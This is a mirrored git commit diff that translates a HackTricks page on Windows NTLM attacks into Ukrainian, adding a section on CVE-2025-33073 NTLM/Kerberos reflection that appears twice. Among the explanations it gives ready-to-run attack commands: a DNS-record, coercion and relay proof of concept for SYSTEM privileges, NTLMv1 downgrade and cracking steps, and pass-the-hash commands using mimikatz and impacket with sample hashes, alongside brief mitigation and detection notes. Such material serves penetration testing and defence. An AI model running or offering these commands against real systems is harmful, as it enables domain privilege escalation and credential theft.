mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/ntlm/README.md'] to uk
This commit is contained in:
parent
0446324536
commit
e261bae5df
@ -2,11 +2,57 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Основна інформація
|
## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
|
||||||
|
|
||||||
В середовищах, де працюють **Windows XP та Server 2003**, використовуються хеші LM (Lan Manager), хоча загальновідомо, що їх легко скомпрометувати. Конкретний хеш LM, `AAD3B435B51404EEAAD3B435B51404EE`, вказує на ситуацію, коли LM не використовується, представляючи хеш для порожнього рядка.
|
Windows містить кілька заходів, які намагаються запобігти атакам *reflection*, де аутентифікація NTLM (або Kerberos), що походить з хоста, передається назад на **той самий** хост для отримання привілеїв SYSTEM.
|
||||||
|
|
||||||
За замовчуванням, **Kerberos** є основним методом аутентифікації. NTLM (NT LAN Manager) вступає в гру за певних обставин: відсутність Active Directory, неіснування домену, несправність Kerberos через неправильну конфігурацію або коли спроби підключення здійснюються за допомогою IP-адреси замість дійсного імені хоста.
|
Microsoft зламав більшість публічних ланцюгів з MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) та пізніми патчами, однак **CVE-2025-33073** показує, що захисти все ще можуть бути обійдені шляхом зловживання тим, як **SMB-клієнт обрізає Імена Основних Служб (SPN)**, які містять *marshalled* (серіалізовану) інформацію про ціль.
|
||||||
|
|
||||||
|
### TL;DR помилки
|
||||||
|
1. Зловмисник реєструє **DNS A-запис**, чий ярлик кодує marshalled SPN – наприклад,
|
||||||
|
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||||
|
2. Жертва змушена аутентифікуватися на цьому імені хоста (PetitPotam, DFSCoerce тощо).
|
||||||
|
3. Коли SMB-клієнт передає рядок цілі `cifs/srv11UWhRCAAAAA…` до `lsasrv!LsapCheckMarshalledTargetInfo`, виклик до `CredUnmarshalTargetInfo` **обрізає** серіалізований об'єкт, залишаючи **`cifs/srv1`**.
|
||||||
|
4. `msv1_0!SspIsTargetLocalhost` (або еквівалент Kerberos) тепер вважає ціль *localhost*, оскільки коротка частина хоста збігається з ім'ям комп'ютера (`SRV1`).
|
||||||
|
5. Відповідно, сервер встановлює `NTLMSSP_NEGOTIATE_LOCAL_CALL` і впроваджує **токен доступу SYSTEM LSASS** у контекст (для Kerberos створюється ключ підсесії, позначений як SYSTEM).
|
||||||
|
6. Передача цієї аутентифікації з `ntlmrelayx.py` **або** `krbrelayx.py` надає повні права SYSTEM на тому ж хості.
|
||||||
|
|
||||||
|
### Quick PoC
|
||||||
|
```bash
|
||||||
|
# Add malicious DNS record
|
||||||
|
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
|
||||||
|
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
|
||||||
|
-d 10.10.10.50
|
||||||
|
|
||||||
|
# Trigger authentication
|
||||||
|
PetitPotam.py -u user -p pass -d DOMAIN \
|
||||||
|
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
|
||||||
|
|
||||||
|
# Relay listener (NTLM)
|
||||||
|
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||||
|
|
||||||
|
# Relay listener (Kerberos) – remove NTLM mechType first
|
||||||
|
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||||
|
```
|
||||||
|
### Patch & Mitigations
|
||||||
|
* KB патч для **CVE-2025-33073** додає перевірку в `mrxsmb.sys::SmbCeCreateSrvCall`, яка блокує будь-яке SMB з'єднання, якщо його ціль містить маршалізовану інформацію (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
|
||||||
|
* Застосовуйте **SMB підпис** для запобігання рефлексії навіть на непатчених хостах.
|
||||||
|
* Моніторте DNS записи, що нагадують `*<base64>...*`, і блокуйте вектори примусу (PetitPotam, DFSCoerce, AuthIP...).
|
||||||
|
|
||||||
|
### Detection ideas
|
||||||
|
* Захоплення мережі з `NTLMSSP_NEGOTIATE_LOCAL_CALL`, де IP клієнта ≠ IP сервера.
|
||||||
|
* Kerberos AP-REQ, що містить підключений ключ і клієнтський принципал, рівний імені хоста.
|
||||||
|
* Windows Event 4624/4648 SYSTEM логіни, які відразу ж супроводжуються віддаленими SMB записами з того ж хоста.
|
||||||
|
|
||||||
|
## References
|
||||||
|
* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||||
|
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||||
|
|
||||||
|
## Basic Information
|
||||||
|
|
||||||
|
В середовищах, де працюють **Windows XP та Server 2003**, використовуються LM (Lan Manager) хеші, хоча загальновідомо, що їх легко скомпрометувати. Конкретний LM хеш, `AAD3B435B51404EEAAD3B435B51404EE`, вказує на ситуацію, коли LM не використовується, представляючи хеш для порожнього рядка.
|
||||||
|
|
||||||
|
За замовчуванням, **Kerberos** є основним методом аутентифікації. NTLM (NT LAN Manager) вступає в гру за певних обставин: відсутність Active Directory, неіснування домену, несправність Kerberos через неправильну конфігурацію або коли спроби з'єднання здійснюються за допомогою IP-адреси замість дійсного імені хоста.
|
||||||
|
|
||||||
Наявність заголовка **"NTLMSSP"** в мережевих пакетах сигналізує про процес аутентифікації NTLM.
|
Наявність заголовка **"NTLMSSP"** в мережевих пакетах сигналізує про процес аутентифікації NTLM.
|
||||||
|
|
||||||
@ -14,12 +60,12 @@
|
|||||||
|
|
||||||
**Ключові моменти**:
|
**Ключові моменти**:
|
||||||
|
|
||||||
- Хеші LM вразливі, а порожній хеш LM (`AAD3B435B51404EEAAD3B435B51404EE`) свідчить про його не використання.
|
- LM хеші вразливі, а порожній LM хеш (`AAD3B435B51404EEAAD3B435B51404EE`) свідчить про його не використання.
|
||||||
- Kerberos є методом аутентифікації за замовчуванням, а NTLM використовується лише за певних умов.
|
- Kerberos є стандартним методом аутентифікації, NTLM використовується лише за певних умов.
|
||||||
- Пакети аутентифікації NTLM можна ідентифікувати за заголовком "NTLMSSP".
|
- Пакети аутентифікації NTLM можна ідентифікувати за заголовком "NTLMSSP".
|
||||||
- Протоколи LM, NTLMv1 та NTLMv2 підтримуються системним файлом `msv1\_0.dll`.
|
- Протоколи LM, NTLMv1 та NTLMv2 підтримуються системним файлом `msv1\_0.dll`.
|
||||||
|
|
||||||
## LM, NTLMv1 та NTLMv2
|
## LM, NTLMv1 and NTLMv2
|
||||||
|
|
||||||
Ви можете перевірити та налаштувати, який протокол буде використовуватися:
|
Ви можете перевірити та налаштувати, який протокол буде використовуватися:
|
||||||
|
|
||||||
@ -29,7 +75,7 @@
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Реєстр
|
### Registry
|
||||||
|
|
||||||
Це встановить рівень 5:
|
Це встановить рівень 5:
|
||||||
```
|
```
|
||||||
@ -50,10 +96,10 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
|
|||||||
2. Клієнтська машина **надсилає запит на аутентифікацію**, відправляючи **ім'я домену** та **ім'я користувача**
|
2. Клієнтська машина **надсилає запит на аутентифікацію**, відправляючи **ім'я домену** та **ім'я користувача**
|
||||||
3. **Сервер** надсилає **виклик**
|
3. **Сервер** надсилає **виклик**
|
||||||
4. **Клієнт шифрує** **виклик**, використовуючи хеш пароля як ключ, і надсилає його у відповідь
|
4. **Клієнт шифрує** **виклик**, використовуючи хеш пароля як ключ, і надсилає його у відповідь
|
||||||
5. **Сервер надсилає** до **контролера домену** **ім'я домену, ім'я користувача, виклик та відповідь**. Якщо **немає** налаштованого Active Directory або ім'я домену є ім'ям сервера, облікові дані **перевіряються локально**.
|
5. **Сервер надсилає** до **контролера домену** **ім'я домену, ім'я користувача, виклик та відповідь**. Якщо **не налаштовано** Active Directory або ім'я домену є ім'ям сервера, облікові дані **перевіряються локально**.
|
||||||
6. **Контролер домену перевіряє, чи все вірно** і надсилає інформацію на сервер
|
6. **Контролер домену перевіряє, чи все вірно** і надсилає інформацію на сервер
|
||||||
|
|
||||||
**Сервер** та **контролер домену** можуть створити **Безпечний канал** через сервер **Netlogon**, оскільки контролер домену знає пароль сервера (він знаходиться в базі даних **NTDS.DIT**).
|
**Сервер** та **контролер домену** можуть створити **захищений канал** через **сервер Netlogon**, оскільки контролер домену знає пароль сервера (він знаходиться в базі даних **NTDS.DIT**).
|
||||||
|
|
||||||
### Локальна схема аутентифікації NTLM
|
### Локальна схема аутентифікації NTLM
|
||||||
|
|
||||||
@ -63,7 +109,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
|
|||||||
|
|
||||||
**Довжина виклику становить 8 байт**, а **відповідь має довжину 24 байти**.
|
**Довжина виклику становить 8 байт**, а **відповідь має довжину 24 байти**.
|
||||||
|
|
||||||
**Хеш NT (16 байт)** ділиться на **3 частини по 7 байт кожна** (7B + 7B + (2B+0x00\*5)): **остання частина заповнена нулями**. Потім **виклик** **шифрується окремо** з кожною частиною, а **отримані** зашифровані байти **об'єднуються**. Усього: 8B + 8B + 8B = 24 байти.
|
**Хеш NT (16 байт)** ділиться на **3 частини по 7 байт кожна** (7B + 7B + (2B+0x00\*5)): **остання частина заповнена нулями**. Потім **виклик** **шифрується окремо** з кожною частиною, а **отримані** зашифровані байти **об'єднуються**. Всього: 8B + 8B + 8B = 24 байти.
|
||||||
|
|
||||||
**Проблеми**:
|
**Проблеми**:
|
||||||
|
|
||||||
@ -71,15 +117,15 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
|
|||||||
- 3 частини можуть бути **атаковані окремо** для знаходження NT хешу
|
- 3 частини можуть бути **атаковані окремо** для знаходження NT хешу
|
||||||
- **DES можна зламати**
|
- **DES можна зламати**
|
||||||
- 3-й ключ завжди складається з **5 нулів**.
|
- 3-й ключ завжди складається з **5 нулів**.
|
||||||
- За **однаковим викликом** **відповідь** буде **однаковою**. Тому ви можете дати жертві **виклик** у вигляді рядка "**1122334455667788**" і атакувати відповідь, використовуючи **попередньо обчислені райдужні таблиці**.
|
- За **однаковим викликом** **відповідь** буде **однаковою**. Тому ви можете дати як **виклик** жертві рядок "**1122334455667788**" і атакувати відповідь, використовуючи **попередньо обчислені райдужні таблиці**.
|
||||||
|
|
||||||
### Атака NTLMv1
|
### Атака NTLMv1
|
||||||
|
|
||||||
В наш час стає все менш поширеним знаходити середовища з налаштованою неконтрольованою делегацією, але це не означає, що ви не можете **зловживати службою Print Spooler**, яка налаштована.
|
В наш час стає все менш поширеним знаходити середовища з налаштованою неконтрольованою делегацією, але це не означає, що ви не можете **зловживати службою Print Spooler**, яка налаштована.
|
||||||
|
|
||||||
Ви можете зловживати деякими обліковими даними/сесіями, які у вас вже є в AD, щоб **попросити принтер аутентифікуватися** проти деякого **хоста під вашим контролем**. Потім, використовуючи `metasploit auxiliary/server/capture/smb` або `responder`, ви можете **встановити виклик аутентифікації на 1122334455667788**, захопити спробу аутентифікації, і якщо вона була виконана за допомогою **NTLMv1**, ви зможете **зламати її**.\
|
Ви могли б зловживати деякими обліковими даними/сесіями, які у вас вже є в AD, щоб **попросити принтер аутентифікуватися** проти деякого **хоста під вашим контролем**. Потім, використовуючи `metasploit auxiliary/server/capture/smb` або `responder`, ви можете **встановити виклик аутентифікації на 1122334455667788**, захопити спробу аутентифікації, і якщо вона була виконана за допомогою **NTLMv1**, ви зможете **зламати її**.\
|
||||||
Якщо ви використовуєте `responder`, ви можете спробувати **використати прапор `--lm`**, щоб спробувати **знизити** **аутентифікацію**.\
|
Якщо ви використовуєте `responder`, ви можете спробувати **використати прапор `--lm`**, щоб спробувати **знизити** **аутентифікацію**.\
|
||||||
_Зверніть увагу, що для цієї техніки аутентифікація повинна виконуватися за допомогою NTLMv1 (NTLMv2 не дійсний)._
|
_Зверніть увагу, що для цієї техніки аутентифікація повинна виконуватися за допомогою NTLMv1 (NTLMv2 не є дійсним)._
|
||||||
|
|
||||||
Пам'ятайте, що принтер буде використовувати обліковий запис комп'ютера під час аутентифікації, а облікові записи комп'ютерів використовують **довгі та випадкові паролі**, які ви **ймовірно не зможете зламати**, використовуючи звичайні **словники**. Але **аутентифікація NTLMv1** **використовує DES** ([більше інформації тут](#ntlmv1-challenge)), тому, використовуючи деякі служби, спеціально призначені для зламу DES, ви зможете його зламати (ви можете використовувати [https://crack.sh/](https://crack.sh) або [https://ntlmv1.com/](https://ntlmv1.com), наприклад).
|
Пам'ятайте, що принтер буде використовувати обліковий запис комп'ютера під час аутентифікації, а облікові записи комп'ютерів використовують **довгі та випадкові паролі**, які ви **ймовірно не зможете зламати**, використовуючи звичайні **словники**. Але **аутентифікація NTLMv1** **використовує DES** ([більше інформації тут](#ntlmv1-challenge)), тому, використовуючи деякі служби, спеціально призначені для зламу DES, ви зможете його зламати (ви можете використовувати [https://crack.sh/](https://crack.sh) або [https://ntlmv1.com/](https://ntlmv1.com), наприклад).
|
||||||
|
|
||||||
@ -155,9 +201,9 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
|||||||
```
|
```
|
||||||
### NTLMv2 Challenge
|
### NTLMv2 Challenge
|
||||||
|
|
||||||
Довжина **виклику становить 8 байт** і **надсилаються 2 відповіді**: одна має **довжину 24 байти**, а довжина **іншої** є **змінною**.
|
Довжина **виклику становить 8 байт** і **надсилаються 2 відповіді**: одна з них **довжиною 24 байти**, а довжина **іншої** є **змінною**.
|
||||||
|
|
||||||
**Перша відповідь** створюється шляхом шифрування за допомогою **HMAC_MD5** рядка, що складається з **клієнта та домену**, використовуючи як **ключ** хеш MD4 **NT hash**. Потім **результат** буде використаний як **ключ** для шифрування за допомогою **HMAC_MD5** **виклику**. До цього буде **додано клієнтський виклик довжиною 8 байт**. Усього: 24 Б.
|
**Перша відповідь** створюється шляхом шифрування за допомогою **HMAC_MD5** рядка, що складається з **клієнта та домену**, використовуючи в якості **ключа** хеш MD4 **NT hash**. Потім **результат** буде використаний як **ключ** для шифрування за допомогою **HMAC_MD5** **виклику**. До цього **додасться клієнтський виклик довжиною 8 байт**. Усього: 24 Б.
|
||||||
|
|
||||||
**Друга відповідь** створюється з використанням **декількох значень** (новий клієнтський виклик, **часова мітка** для запобігання **атакам повтору**...)
|
**Друга відповідь** створюється з використанням **декількох значень** (новий клієнтський виклик, **часова мітка** для запобігання **атакам повтору**...)
|
||||||
|
|
||||||
@ -165,8 +211,8 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
|||||||
|
|
||||||
## Pass-the-Hash
|
## Pass-the-Hash
|
||||||
|
|
||||||
**Якщо у вас є хеш жертви**, ви можете використовувати його для **імітування**.\
|
**Якщо у вас є хеш жертви**, ви можете використовувати його для **імітованої аутентифікації**.\
|
||||||
Вам потрібно використовувати **інструмент**, який **виконає** **аутентифікацію NTLM, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** всередину **LSASS**, так що коли будь-яка **аутентифікація NTLM виконується**, цей **хеш буде використаний.** Останній варіант - це те, що робить mimikatz.
|
Вам потрібно використовувати **інструмент**, який **виконає** **NTLM аутентифікацію, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** в **LSASS**, так що коли будь-яка **NTLM аутентифікація буде виконана**, цей **хеш буде використаний.** Останній варіант - це те, що робить mimikatz.
|
||||||
|
|
||||||
**Будь ласка, пам'ятайте, що ви також можете виконувати атаки Pass-the-Hash, використовуючи облікові записи комп'ютерів.**
|
**Будь ласка, пам'ятайте, що ви також можете виконувати атаки Pass-the-Hash, використовуючи облікові записи комп'ютерів.**
|
||||||
|
|
||||||
@ -176,21 +222,21 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
|||||||
```bash
|
```bash
|
||||||
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
|
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
|
||||||
```
|
```
|
||||||
Це запустить процес, який буде належати користувачам, які запустили mimikatz, але внутрішньо в LSASS збережені облікові дані - це ті, що всередині параметрів mimikatz. Потім ви можете отримати доступ до мережевих ресурсів так, ніби ви є тим користувачем (схоже на трюк `runas /netonly`, але вам не потрібно знати пароль у відкритому вигляді).
|
Це запустить процес, який буде належати користувачам, що запустили mimikatz, але внутрішньо в LSASS збережені облікові дані - це ті, що всередині параметрів mimikatz. Потім ви можете отримати доступ до мережевих ресурсів так, ніби ви є тим користувачем (схоже на трюк `runas /netonly`, але вам не потрібно знати пароль у відкритому вигляді).
|
||||||
|
|
||||||
### Pass-the-Hash з linux
|
### Pass-the-Hash з linux
|
||||||
|
|
||||||
Ви можете отримати виконання коду на Windows машинах, використовуючи Pass-the-Hash з Linux.\
|
Ви можете отримати виконання коду на Windows машинах, використовуючи Pass-the-Hash з Linux.\
|
||||||
[**Доступ сюди, щоб дізнатися, як це зробити.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
|
[**Доступ тут, щоб дізнатися, як це зробити.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
|
||||||
|
|
||||||
### Інструменти Impacket для Windows
|
### Інструменти Impacket для Windows
|
||||||
|
|
||||||
Ви можете завантажити [бінарники impacket для Windows тут](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries).
|
Ви можете завантажити [бінарні файли impacket для Windows тут](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries).
|
||||||
|
|
||||||
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
|
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
|
||||||
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
|
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
|
||||||
- **atexec.exe** (У цьому випадку вам потрібно вказати команду, cmd.exe та powershell.exe не є дійсними для отримання інтерактивної оболонки)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
|
- **atexec.exe** (У цьому випадку вам потрібно вказати команду, cmd.exe та powershell.exe не є дійсними для отримання інтерактивної оболонки)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
|
||||||
- Є ще кілька бінарників Impacket...
|
- Є ще кілька бінарних файлів Impacket...
|
||||||
|
|
||||||
### Invoke-TheHash
|
### Invoke-TheHash
|
||||||
|
|
||||||
@ -234,19 +280,19 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
|||||||
../lateral-movement/
|
../lateral-movement/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Витягування облікових даних з Windows хоста
|
## Витягування облікових даних з Windows Host
|
||||||
|
|
||||||
**Для отримання додаткової інформації про** [**те, як отримати облікові дані з Windows хоста, вам слід прочитати цю сторінку**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
|
**Для отримання додаткової інформації про** [**те, як отримати облікові дані з Windows host, вам слід прочитати цю сторінку**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
|
||||||
|
|
||||||
## Атака внутрішнього монологу
|
## Атака Internal Monologue
|
||||||
|
|
||||||
Атака внутрішнього монологу є прихованою технікою витягування облікових даних, яка дозволяє зловмиснику отримувати NTLM хеші з машини жертви **без прямої взаємодії з процесом LSASS**. На відміну від Mimikatz, який читає хеші безпосередньо з пам'яті і часто блокується рішеннями безпеки кінцевих точок або Credential Guard, ця атака використовує **локальні виклики до пакету аутентифікації NTLM (MSV1_0) через Інтерфейс постачальника підтримки безпеки (SSPI)**. Зловмисник спочатку **знижує налаштування NTLM** (наприклад, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic), щоб забезпечити дозволеність NetNTLMv1. Потім вони підробляють існуючі токени користувачів, отримані з працюючих процесів, і запускають NTLM аутентифікацію локально, щоб згенерувати відповіді NetNTLMv1, використовуючи відомий виклик.
|
Атака Internal Monologue є прихованою технікою витягування облікових даних, яка дозволяє зловмиснику отримувати NTLM хеші з машини жертви **без прямої взаємодії з процесом LSASS**. На відміну від Mimikatz, який читає хеші безпосередньо з пам'яті і часто блокується рішеннями безпеки кінцевих точок або Credential Guard, ця атака використовує **локальні виклики до пакету аутентифікації NTLM (MSV1_0) через Інтерфейс підтримки безпеки (SSPI)**. Зловмисник спочатку **знижує налаштування NTLM** (наприклад, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic), щоб забезпечити дозволеність NetNTLMv1. Потім вони підробляють існуючі токени користувачів, отримані з працюючих процесів, і запускають аутентифікацію NTLM локально, щоб згенерувати відповіді NetNTLMv1, використовуючи відомий виклик.
|
||||||
|
|
||||||
Після захоплення цих відповідей NetNTLMv1 зловмисник може швидко відновити оригінальні NTLM хеші, використовуючи **попередньо обчислені райдужні таблиці**, що дозволяє здійснювати подальші атаки Pass-the-Hash для бічного переміщення. Важливо, що атака внутрішнього монологу залишається прихованою, оскільки не генерує мережевий трафік, не інжектує код і не викликає прямі дампи пам'яті, що ускладнює виявлення для захисників у порівнянні з традиційними методами, такими як Mimikatz.
|
Після захоплення цих відповідей NetNTLMv1 зловмисник може швидко відновити оригінальні NTLM хеші, використовуючи **попередньо обчислені райдужні таблиці**, що дозволяє подальші атаки Pass-the-Hash для бічного переміщення. Важливо, що атака Internal Monologue залишається прихованою, оскільки не генерує мережевий трафік, не впроваджує код і не викликає прямі дампи пам'яті, що ускладнює виявлення для захисників у порівнянні з традиційними методами, такими як Mimikatz.
|
||||||
|
|
||||||
Якщо NetNTLMv1 не приймається — через впроваджені політики безпеки, зловмисник може не змогти отримати відповідь NetNTLMv1.
|
Якщо NetNTLMv1 не приймається — через впроваджені політики безпеки, зловмисник може не змогти отримати відповідь NetNTLMv1.
|
||||||
|
|
||||||
Щоб вирішити цю ситуацію, інструмент Internal Monologue був оновлений: він динамічно отримує токен сервера, використовуючи `AcceptSecurityContext()`, щоб все ще **захопити відповіді NetNTLMv2**, якщо NetNTLMv1 не вдається. Хоча NetNTLMv2 значно важче зламати, він все ще відкриває шлях для релейних атак або офлайн брутфорсу в обмежених випадках.
|
Щоб вирішити цю проблему, інструмент Internal Monologue був оновлений: він динамічно отримує токен сервера, використовуючи `AcceptSecurityContext()`, щоб все ще **захопити відповіді NetNTLMv2**, якщо NetNTLMv1 не вдається. Хоча NetNTLMv2 набагато важче зламати, він все ще відкриває шлях для релейних атак або офлайн брутфорсу в обмежених випадках.
|
||||||
|
|
||||||
PoC можна знайти за адресою **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
|
PoC можна знайти за адресою **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
|
||||||
|
|
||||||
@ -262,4 +308,50 @@ PoC можна знайти за адресою **[https://github.com/eladshamir
|
|||||||
|
|
||||||
**Ви можете використовувати** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
**Ви можете використовувати** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
||||||
|
|
||||||
|
## NTLM & Kerberos *Reflection* через серіалізовані SPN (CVE-2025-33073)
|
||||||
|
|
||||||
|
Windows містить кілька заходів, які намагаються запобігти *reflection* атакам, де аутентифікація NTLM (або Kerberos), що походить з хоста, релеюється назад на **той самий** хост для отримання привілеїв SYSTEM.
|
||||||
|
|
||||||
|
Microsoft зламав більшість публічних ланцюгів з MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) та пізнішими патчами, однак **CVE-2025-33073** показує, що захисти все ще можуть бути обійдені шляхом зловживання тим, як **SMB клієнт обрізає Імена основних служб (SPN)**, які містять *маршалізовану* (серіалізовану) інформацію про ціль.
|
||||||
|
|
||||||
|
### Коротко про помилку
|
||||||
|
1. Зловмисник реєструє **DNS A-запис**, чий ярлик кодує маршалізований SPN – наприклад,
|
||||||
|
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||||
|
2. Жертва змушена аутентифікуватися до цього імені хоста (PetitPotam, DFSCoerce тощо).
|
||||||
|
3. Коли SMB клієнт передає рядок цілі `cifs/srv11UWhRCAAAAA…` до `lsasrv!LsapCheckMarshalledTargetInfo`, виклик до `CredUnmarshalTargetInfo` **обрізає** серіалізований об'єкт, залишаючи **`cifs/srv1`**.
|
||||||
|
4. `msv1_0!SspIsTargetLocalhost` (або еквівалент Kerberos) тепер вважає ціль *localhost*, оскільки коротка частина хоста збігається з ім'ям комп'ютера (`SRV1`).
|
||||||
|
5. Відповідно, сервер встановлює `NTLMSSP_NEGOTIATE_LOCAL_CALL` і впроваджує **токен доступу SYSTEM LSASS** у контекст (для Kerberos створюється ключ підсесії, позначений SYSTEM).
|
||||||
|
6. Релеюючи цю аутентифікацію за допомогою `ntlmrelayx.py` **або** `krbrelayx.py`, ви отримуєте повні права SYSTEM на тому ж хості.
|
||||||
|
|
||||||
|
### Швидкий PoC
|
||||||
|
```bash
|
||||||
|
# Add malicious DNS record
|
||||||
|
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
|
||||||
|
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
|
||||||
|
-d 10.10.10.50
|
||||||
|
|
||||||
|
# Trigger authentication
|
||||||
|
PetitPotam.py -u user -p pass -d DOMAIN \
|
||||||
|
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
|
||||||
|
|
||||||
|
# Relay listener (NTLM)
|
||||||
|
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||||
|
|
||||||
|
# Relay listener (Kerberos) – remove NTLM mechType first
|
||||||
|
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||||
|
```
|
||||||
|
### Патчі та пом'якшення
|
||||||
|
* Патч KB для **CVE-2025-33073** додає перевірку в `mrxsmb.sys::SmbCeCreateSrvCall`, яка блокує будь-яке SMB з'єднання, ціль якого містить маршалізовану інформацію (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
|
||||||
|
* Застосовуйте **SMB підпис** для запобігання рефлексії навіть на непатчених хостах.
|
||||||
|
* Моніторте DNS записи, що нагадують `*<base64>...*` та блокуйте вектори примусу (PetitPotam, DFSCoerce, AuthIP...).
|
||||||
|
|
||||||
|
### Ідеї для виявлення
|
||||||
|
* Захоплення мережі з `NTLMSSP_NEGOTIATE_LOCAL_CALL`, де IP клієнта ≠ IP сервера.
|
||||||
|
* Kerberos AP-REQ, що містить підключений ключ та клієнтський принципал, рівний імені хоста.
|
||||||
|
* Журнали Windows Event 4624/4648 SYSTEM, які негайно слідують за віддаленими SMB записами з того ж хоста.
|
||||||
|
|
||||||
|
## Посилання
|
||||||
|
* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||||
|
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user